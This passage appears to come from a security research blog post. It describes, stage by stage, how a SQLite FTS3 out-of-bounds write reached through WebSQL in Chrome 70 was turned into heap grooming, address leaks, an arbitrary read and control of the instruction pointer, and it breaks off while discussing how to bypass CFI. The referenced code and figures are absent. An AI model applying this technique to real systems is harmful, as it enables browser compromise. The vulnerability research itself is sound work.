This strategy makes it possible to corrupt the same address over and over again with different content on each corruption attempt. It is imperative for the OOB write to work repeatedly and reliably no matter how many times it was executed, in order to to move forwards to the next stages of exploitation. While experimenting with this strategy, it came to realization that the OOB write would not be reliable when the bug trigger SQL statements were coupled with other SQL statements, such as the heap spray statements. However, when the bug trigger SQL statements were detached into a single transaction and was executed separately from any other statements, it work reliably. Even when the primitive was executed 0x1000 times, not a single attempt had apple stray away from the placeholder, and all attempts succeeded with the OOB writing at the same address in all attempts.

One thing to note is how the heap manipulating primitives are constructed. To spray the heap with a controlled size and controlled content chunk, a table is created with a single column, and the column name will be the sprayed content. To create holes, the table will be dropped, and the attached column name will be deallocated from the heap. This creates a perfect primitive to create chunks and free them, in a completely controlled manner.

Another thing worth mentioning is the discrepancy of where the chunks are operating. For instance, the hole creating primitive would free the column name on the parser phase. The stage where the fts table’s term apple is allocated, is during the execution of the Bytecode Engine. There will be a lot of noise in-between where the chunk is freed, and when apple refills it. However, in order to minimize the noise, we’ve upgraded the apple chunk to a 0xa00 size class. Also, as luck has it, the hole created during DROP TABLE remains on the top of the freelist, all the way until apple comes along to pick it back up. This is not always the case as will be seen in the later stages of exploitation, but the DROP TABLE and apple allocation make a perfect pair for the free/refill.

The entire strategy described above would look something like this in javascript.

Stage 3 ~ Stage 6

In the previous stage, it was mentioned that a divide-and-conquer approach was used. The first stage would spray gigantic 256MB heap chunks, which is 0x10000000 in size. The next stage would scale it down with a factor of 0x10, and do the same thing that the previous stage did with 16MB, or 0x1000000 sized chunks. The following illustration describes the entire process.

It’s easy to see where this is going. On stage 4, the same thing is going to happen, but instead this time 0x100000 sized chunks will be sprayed. On stage 5 0x10000. Stage 6 is 0x1000. All of this is to scale down the target chunks until it reaches the size 0x1000. The reason behind this is because column object arrays can only grow up to 0xFA00 in size, as mentioned above. Also, for every 8 new columns, the column array would be realloc’d making the column array jump all around the place, so in order to make the problem more simpler, 0x1000 was chosen instead of 0x10000. 0x1000 is a big enough size to be void of most of the heap noise.

Before proceeding to the next stage, it is worth discussing sources of failures on this part of the stage. First, all chunks bigger than 0x8000 come from the Central Cache. What this means is that, there is an opportunity that other threads can snatch the pages from the Central Cache, before the WebSQL Database thread has a chance to grab them. Fortunately, this doesn’t happen very often. If it does become a problem though, there is a way to get rid of it. The first thing is to track down the problematic allocation, and figure out what size class it is. Next, we would deliberately allocate and free a chunk that matches the size of the problematic chunk, in a way that it doesn’t get coalesced by adjacent chunks. This will place that free’d chunk on the Central class’s freelist, and when the time comes and the rogue allocation takes place, the problematic thread that requested the problematic allocation will snatch that chunk from the freelist, leaving the other chunks alone. This problem actually applies to all stages. However, this kind of problem occurs very rarely.

The more frequently occurring problem is that of allocations of unintended objects. For instance, all of our heap feng-shui resolves around column names. However, in order to create column names, we have to create a table. When tables are created, lots of objects are allocated on the heap such as the table object, expression trees, column affinity arrays, the table name string, and the like. These will be allocated for every table that is created, so the more tables that are created, the more likely it is that those object’s will exhaust their respective size class’s freelist, and request new chunks from the central cache. When the central cache’s freelist is also exhausted, it will start to steal pages that are reserved for large chunks. Those pages will include the holes that we wanted to refill, such as Table6‘s hole in the above illustration. This is a very possible situation, and when the exploit fails in the first couple of stages, most of the time this is the reason behind the failure. To fix this, it is required to create a really long freelist for all the unintended objects that are allocated upon table creation, and make those unintended objects take chunks from that long freelist. This is kind of complicated in terms of TCMalloc, because there is a maximum size on the thread cache’s freelist and if the program reaches that limit, then the Central Cache will keep stealing some of the chunks from the thread cache’s freelist. This maximum limit will be dynamically increased as TCMalloc sees a lot of heap activity on that chunk size-class’s freelist, but in order to take full advantage of it, it is required to have a deep understanding of the dynamic nature of freelists, and study on how it can be controlled.

A more better way to fix this issue would have been to create one gigantic table with 2000 columns, where all columns would act as a spray. In order to create holes, an SQL statement would be issued to change column names into a different name, which would free the previous column name. SQLite actually provides a way to do this, but unfortunately the version of SQLite that Google used at the time the vulnerability existed is 3.24.0, and hence, that functionality was not implemented yet in Chrome’s SQLite.

The actual best way to deal with this is to pre-create all tables that will be used in the entire exploit, and whenever the need arises to spray column names, it is possible to do so with the ALTER TABLE ADD COLUMN statement. The exploit does not specifically address this issue, and should be re-run if it fails during this stage.

After all the spraying and corrupting, this entire process until stage 6 takes a little over 1 minute in a virtual machine. This is a lot more manageable than 10 minutes. However, 1 minute is still too long to be used in the real world. As the purpose was to create a Proof-of-Concept, the exploit was not improved to further to shave off some more time, due to time constraints. Nevertheless, we will discuss on ideas of how to eliminate most of the spraying time in the end of the blog post.

Now that everything has been covered, we can proceed to Stage 7.

Stage 7

Stage 7’s has only one purpose. Place a 0x1000 sized Column Object Array into the corrupted 0x1000 chunk, and find out which of the column objects inside the array is the one that gets corrupted. This is illustrated below.

After this, it is possible to know which of the 104 columns were corrupted. We can keep that corrupted column index bookmarked, and use it to probe the result of all future corruption attempts.

There is a catch here though. What if the corruption happens after the 104 columns, in one of the columns in the range 104 ~ 128? Since no Column object exists in that range, it would be impossible to know which part of the column object array is corrupted. To fix this, when the exploit determines that the OOB write falls into that specific range, it uses a different apple for the OOB write. Specifically, it uses the apple that’s right in front of the current apple.

By using the apple slot that is 0xa00 before the current apple, The corruption falls back into the 0 ~ 104 range, and Stage 7 can be run again to retrieve the corrupted column. This might fail sometimes, and the previous apple block is actually at a completely random position. When this fails, the exploit should go back to the previous stages and find out which of the other huge blocks of column got corrupted, and then work forwards from there. This is not particularly implemented in the exploit and the exploit should be run again if it fails during this stage.

Before going to the next stage, Stage 7 uses the OOB write to completely wipe out the Column Name address field to 0. The reason is because when the table is dropped, SQLite will go through all the column objects in the array, and issue tc_free(column_name_address) to all of the objects. If the address fed to tc_free is not an address that was returned from a previous tc_malloc, then the program will crash. Wiping it to 0 will make it call tc_free(0), which is essentially a no-op.

Now that we know which column index was corrupted, we can now proceed to Stage 8.

Stage 8

This is the most fragile part of the exploit.

The first thing that Stage 8 tries to achieve, is to drop 3 of the 0x1000 chunks starting from the corrupted one, and fill them back in with controlled chunks. It relies on the fact that when the 0x1000 chunks were sprayed at Stage 6, they were all allocated consecutively, back-to-back from each other. In reality, this is not always the case. Sometimes the 0x1000 will be allocated sequentially, and then at some point the next allocation suddenly jumps to a random location. This happens a lot frequently on small chunks, and it happens rarely in large chunks. The exploit could have been adapted to work on large chunks, but in the current exploitation strategy, the 3 chunks had to include the 104 column object array and place it in the first chunk. The reason behind this is because there must exist a way to place attacker controlled arbitrary data on the heap. In the course of exploiting the bug, such primitive was not used. This is because column names, or in fact, all names that are included in an SQL query is first converted into UTF-8 format before it is stored in memory or the database. To go around that, we use the OOB write itself to write arbitrary payload on memory. This requires everything to be behind the 104 column array, so the address of the arbitrary data can actually be retrieved and used throughout the exploit. All of this will become clear in Stage 9. We will also discuss how to remove this requirement in Stage 10. We were not particularly happy with the instability in this stage, but we just moved forward because the purpose was to prove exploitability. For now, we’ll just assume that the 3 chunks will succeed in being allocated next to each other.

Now we should discuss what kind of 3 chunks are going to be placed.

1. The first chunk will hold a table of 104 columns. But this time, the corrupted column will point to a column name that is 0x1000 in size. This column name will be filled with B’s.
2. The second chunk will be that column name, filled with B’s.
3. The third chunk will be an Fts3Table object.

This sounds easy on text, but the layout of the first two chunks are more complicated than it sounds. Since those two chunks are created in a single CREATE TABLE query, the freelist has to be constructed carefully, so that the two allocations will be placed in that exact order. To make things even more complicated, the freelist will be scrambled depending on which column index was corrupted. Therefore, the freelist must be massaged in different ways, for different column indexes. The way this was solved was to deliberately create holes, deliberately plugging existing holes in different positions in the freelist, changing the order of allocation/free, and adding garbage columns just to compensate for unwanted holes in the freelist. This had to be tested for every index in the column array, and was a tedious process. The end result kind of looks like this.

There could be a better way to do this, but this was how it was done. The alternative exploitation strategy discussed in Stage 10 will remove the need for this laborious task, so future versions of the exploit should use that strategy instead. Now chunk 1 and chunk 2 is covered. Chunk 3 introduces a new object called Fts3Table. This is an object that is created during the execution of a CREATE VIRTUAL TABLE fts3() query. Let’s take a glimpse of the function that is responsible of creating that object.

There are several things noteworthy in this function. First, the Fts3Table object is dynamically sized. It is sized to encompass all of the column names, which gets stored in the object itself. Because column names are user controlled, the entire size of the Fts3Table is user controlled. This means that we can place an Fts3Table chunk into an arbitrary size-class freelist of our choosing. Next, there is a member, azColumn which points somewhere inside the object itself. If this value can be leaked, it can be used to calculate the object’s address. Next, there is a member called base. This base member is a struct, which has another member called pModule. This pModule member points within the .data section of the SQLite library. By leaking this address, it is possible to bypass ASLR. Finally, there is member called db. This points to an sqlite3 object, which is allocated when the WebSQL database is first opened. This occurs very early in the stage of exploitation, so we can expect that this object will be somewhere in the beginning of the heap. All of these object fields will be utilized later on during exploitation.

For now, we just want this Fts3Table object to be allocated as the third chunk. As mentioned above, since the column name actually goes into the Fts3table object, the size is completely controlled so we can make it use the 0x1000 size freelist. However, there is one thing to keep in mind. That is, before this chunk is created, a Table object is also created (because an fts3 table is also just a regular table) before the Fts3Table object is created. What this means is that the column name will actually be stored in 2 places. This will create 2 0x1000 chunks, which is undesirable. To get around this issue, we need the column name of the Table object to use a freelist other than the 0x1000 freelist. The boundary of a chunk being placed in a 0x1000 freelist is 0xD00. Any chunk smaller than that will be placed in the 0xD00 freelist. Therefore, we can create an fts3 table with a column that is smaller than 0xD00, and that column name will be take a chunk from the 0xD00 freelist. On the other hand, the combined size of the Fts3Table object calculated above in line 53 would be bigger than 0xD00, making it grab a chunk from the 0x1000 freelist. Problem solved. Now the Fts3Table object can be nicely placed in the third chunk.

The following illustration is what happens next in Stage 8.

Now we know the 1st, 2nd, and 3rd byte of the second chunk’s address. We will not bruteforce the 4th byte just yet, because there is a risk of hitting unmapped memory when bruteforcing it without knowing the byte’s range. Instead, we will proceed to leak the 5th, and 6th byte in Stage 9.

Stage 9

There are a total of 8 bytes that constitute an address, but for the purpose of leaking, we only need to leak 6 of them. This is because the heap grows upwards from the lowest address, and the heap would have to grow several hundred gigabytes in order to make the 7th byte of the address flip from 0 to 1. In stage 9, the 5th and 6th byte will be leaked one at a time. The way it is leaked is different from Stage 8. This time, it is not possible to bruteforce the byte, because setting the byte to an arbitrary value will make SQLite hit unmapped memory when it tries to access the column name. Therefore, the bytes have to be exactly leaked, using a different method. This is made possible by actually reading out the bytes as column names.

This was actually not possible until the 3 bytes of the second chunk were leaked in Stage 8. Armed with knowledge of the 3 bytes, we can cook up this kind of scenario.

There are a couple things to mention before progressing. First, it was surprising that SQLite would accept everything as a column name, including spaces, newlines, and special characters. All that was needed to make it work was to surround the entire column name with quotes. However, checking the existence of the column is not as simple as issuing a SELECT statement. For some reason, the tokenizer that handles the SELECT statement would eat all the column names between the quotes, and treat it like an *. Testing other different queries, we came across INSERT. By surrounding the column name with a parenthesis and quotes, it was possible to test if certain column names existed, even if the column name included whitespaces and special characters.

All of this seems perfect, and it also gives rise to another question. Why not just leak all bytes using this method? Unfortunately, things are slightly more complicated.
The biggest problem with this method is, that it is only possible to leak bytes that fall into the ascii range. In the above illustration, the 6th byte is okay and will be leaked without issues. However, the 5th byte falls outside the ASCII range, and will not be leaked. The reason for this is that when we issue an SQL statement, if there are any characters in a column name above the \x80 range, then SQLite will treat the characters as Unicode and internally convert them to UTF-8. It is the converted UTF-8 values that will be memcmp’d byte by byte with what the column name that resides in memory. For instance, if we ping for a column “\xC0”, then SQLite will convert that into UTF-8 form “\xC3\x80”, and “\xC3\x80” will be compared to what lies in memory. Only if the two matches, then SQLite will deem that the column exists. This brings up a serious problem where bytes can be leaked with an only a 50% success rate. However, as luck would have it, the 6th byte is always within the ASCII range. This is because as explained earlier, it would take several dozen GB’s of spray to make the 6th byte flip above 0x80. Therefore, there is no issue with the 6th byte. The problem is the 5th byte.

It would be sad to say that we would have to live with the 5th byte issue, and pray to god that it falls within that range. However, all things can be fixed. The following illustrates how to fix this issue.

Technically, the memcpy isn’t actually copying backwards. It’s just starting from a lower offset than 0x7FFFFFFF, such as 0x7FFFFFF0, and then copying all the way up to 0x80000000.
With this, it is possible to leak almost any byte, by constructing a unicode lookup table. Constructing this table requires quite some time and effort, so it was not specifically implemented in the exploit, but this would be the right way to correct this issue. Also, since the unicode library used by SQLite does not do a 1-on-1 matching on all Unicode characters, but rather translates them programatically, there could be cool ways to abuse the Unicode engine to produce a sequence of bytes that could be looked up easily, without having to construct a full blown table. This is left as an exercise for the interested reader. In the exploit, it tests the 5th byte and if it falls outside the ASCII range, it prints that the exploit should be run again by fully closing chrome and reopening it, to get a better 5th byte value.

After this stage, the exploit can finally start bruteforcing the 4th byte.
Based on the values that were leaked from the topmost bytes, the exploit runs a series of heuristics to guess the start value for bruteforcing, so that it falls within a mapped region, as well as making sure that the value is lower than the actual byte to be leaked. The actual heuristics would look as follows.

This would handle all cases. Afterwards, the same logic in Stage 8 is applied to bruteforce the 4th byte. Now all 6 bytes of the address have been leaked. It’s time to proceed to Stage 10 and create an AAR.

Stage 10

If we can’t leak exact values from column names because of the unicode restriction, then how is it possible to create an AAR?

For this, we are going to use another field in the Column object that hasn’t been covered in detail, which is the Default Value. It is possible to set a default value using the following SQL statement.

As a reminder, the following is the definition of the Column object.

These Default Values get stored in pDflt field of the Column object. They are not just stored as a stream of bytes, but they are stored in what SQLite calls an Expression Tree. Expressions represent part of the SQL statement, usually the part in the end such as the WHERE clause. This is the part of an SQL query which is user configurable, where the user could add different kinds of keywords and statements so that the SQL query would react differently based on the entire statement. The entire expression is represented as a tree, so SQLite can process it in a recursive manner. The default value specified in the end of the CREATE TABLE statement is also treated as part of the expression, and is stored within the tree. Let’s look at the definition of the Expr structure.

Like any other tree, it has a left and right node pointer, and it has certain flags and a pointer that points to the actual node data. Let’s see how a default value looks in memory.

This might seem a little complicated at first glance. The only thing important in the Expr object is the opcode, the flags, and the zToken. Here is how the above series of objects would look in a more graphical fashion.

Here is what we want to achieve, in order to gain AAR.

We would create a fake Expr object. The Expr object would represent a leaf node (EP_TokenOnly | EP_Leaf) so SQLite won’t go looking into the pLeft and pRight members, and the node will be set to a static node (EP_Static) so that SQLite won’t free the zToken member when it’s about to dispose the Expression tree. Then, the opcode will be set to OP_String, so that SQLite will treat the address that zToken points to as a NULL terminated string.

The next question is where are we going to write this fake Expr object?
This brings up the requirement issue that was presented on Stage 8. The reason why we wanted to have the three chunks in order is because we could assume that the column object array (the first chunk) is placed right before leaked second chunk. By having the objects laid out that way, writing arbitrary data that represents the fake Expr object, and retrieving the object’s address is instantly solved. This is depicted in the following pictures.

This explains why the precondition in Stage 8 was required. However, we should at least discuss how this requirement can be eliminated, because having the 3 chunks allocated sequentially is the least reliable part of the entire exploit, and it would be nice if there was a way to avoid it. In order to get rid of the requirement, the following steps can be taken.

1. On the beginning of Stage 8, allocate a bunch of 0x2000 chunks. Then deallocate one of the 0x2000 chunks in the middle.
2. Drop the table that holds the 0x1000 chunk, and allocate a column array with 104 column names. The corrupted column index will allocate a column name of size 0x2000. This will place the column object array back in it’s 0x1000 place, and place the 0x2000 column name into the hole that was created in step 1.
3. Execute Stage 8 to leak the lower 3 bytes of the 0x2000 chunk address.
4. Corrupt the column name address so that it points to the the next 0x2000 chunk.
5. Use the INSERT statement to find which table is responsible for that chunk.
6. Drop that table. Place the Fts3Table chunk there.
7. Corrupt the column name address so that it points to the 0x2000 chunk that’s after the Fts3Table.
8. Use the INSERT statement to find which table is responsible for that chunk.
9. Drop that table. Place a 0x2000 chunk with arbitrary data on there, that could be used for the fake Expr object.
10. Now we have 3 chunks allocated sequentially, and the address of all three chunks are known.

This is far more reliable and precise than the “Pray that the three 0x1000 chunks are next to each other” method. The only problem is to find a primitive which the user can allocate an arbitrary sized chunk with attacker controlled data. This can not be done with column names because of the UTF-8 conversion. How to find such primitive will be discussed in the end of the blog post, in the “Increasing Speed and Reliability” section.

Now back to the Expr objects. The final question is how the fake Default Value object could be used to read data from an arbitrary address. After all, only the default value has been set, and SQLite has no way to read the default value out of the table.

This is true and not true. It is impossible to issue a query to read the default value that was set by the CREATE TABLE statement. However, it is possible to indirectly read it. The logic behind it is simple.

We INSERT into the corrupted table a single value using an innocent column, and let SQLite write the default value of the corrupted column into the table. What SQLite does under the hood is, it goes through each column in the Column Object array and checks if any of the column objects have the Default Value Expression tree set. If it is 0, then SQLite fills that column’s data in the new row with NULL. If it actually sees some address, then it follows the expression tree and parses it. SQLite sees our fake Expr object, and it sees that it’s a leaf node. It looks at the column opcode and sees OP_STRING. Therefore, it treats the node value as a string address, and it grabs the NULL terminated string from the address, and uses that to fill the the new row’s column data. Since SQLite does all of this itself, there is no UTF-8 conversion involved, and the value is simply treated as a NULL terminated string, and copied as-is.
Later, we can SELECT that value from the table, and read it back out. Since the column type of the corrupted column is set to BLOB, sqlite will treat the underlying value as a series of hex bytes and return it to the user. For the user to actually see the data in it’s original form, the result data can be passed through the hex() or the quote() function, so that the hex bytes will be converted to a series of ascii characters that represent the hex data.

This is how an AAR is constructed. We indirectly read the data by INSERTing, and then SELECTing. Since the AAR can only read strings up to a NULL byte, all data is read one byte at a time, and the resulting bytes are all combined into an array where it can later be processed. Using this, it is possible to leak all data on the Fts3Table object, including the very first member. This bypasses ASLR. We are going to further abuse this AAR to read more interesting things.

Stage 11

Now the final problem is how to control $RIP.

The current situation is that AAR is achieved, but AAW isn’t. Therefore, in order to skip AAW, it would be desirable to find a code execution primitive in one of the objects that we can OOB write. In the current heap layout, the only object that has potentially interesting fields which lies in the boundaries of the OOB write is the third chunk, which is the Fts3Table object. Remember this?

That is the object we want to corrupt. We can start from the first chunk which is the topmost chunk in the above picture, OOB write while protecting the column array data all the way to the end of the first chunk, then all the way to the end of the second chunk, and start corrupting fields in the Fts3Table object. Now the question is if there is any interesting field that would lead to code execution.

After scavenging through the fts3 Virtual Table Methods, we came across this function.

The line of importance is highlighted. p->pTokenizer is a field within the Fts3Table object. It’s 0x48 offset away from the beginning. The function reads that field, dereferences it a couple times and uses the final value as a function pointer. This is a perfect code control primitive. In assembly, line 49 looks like this.

So what we’re trying to achieve looks like the following.

After finding the primitive, payload was constructed to control $RIP. This was built for the debug compile build of Chromium. After that, the exploit was ported to the vulnerable Chrome stable version (v70.0.3538.77). While porting it, a peculiar happened. $RIP would no longer be controlled, but would jump to a UD2 instruction instead. At first, it was thought that some kind of custom exception handler logic was in play and was snatching the SIGSEGV, but it turned out to be something else. We observed the program right before $RIP was controlled, and realized that the above assembly has changed, and had additional logic on the release build. It looked like the following.

This was obviously some kind of Control Flow Integrity logic. The program was checking if the call destination was in a certain range, and if it wasn’t, it would ruthlessly jump to UD2, terminating the process.
This was interesting, because there was no mention about CFI being enabled on Windows builds, so it was interesting to encounter a CFI implementation on Linux. In fact, there is actually a page in the Chromium website that explains about the CFI, and it states the CFI is currently only implemented in Linux and slated to be released on other platforms some time in the future. All of this is great but what this means for an exploiter is that the CFI would have to be bypassed.

The go-to way to bypass CFI is to achieve AAR/AAW before getting code execution, and work forwards from there. Right now, we only have AAR and no AAW. The first idea to achieve AAW was to manipulate the Expression trees representing the Default Value of a Column object. This is because during the course of experimenting with fake Expr objects, playing with various flags and values led to all kinds of interesting crashes. So conjuring an AAW by creating the right sequence of Expression nodes was one way to deal with it. However, this required another deep dive into how SQLite handles expression trees, and a scavenge through the source code of all of the opcodes, and the accompanying functions.

What we decided to use instead, were the artifacts lying right in front of us. The list of functions that the CFI allowed to call.

For CFI checks on other parts of the code, the function list that CFI permits is very narrow.

In this case, CFI only allows to jump to 8 functions that is predefined in a jump table.
However, in our case, we had a choice of 260 functions to jump to.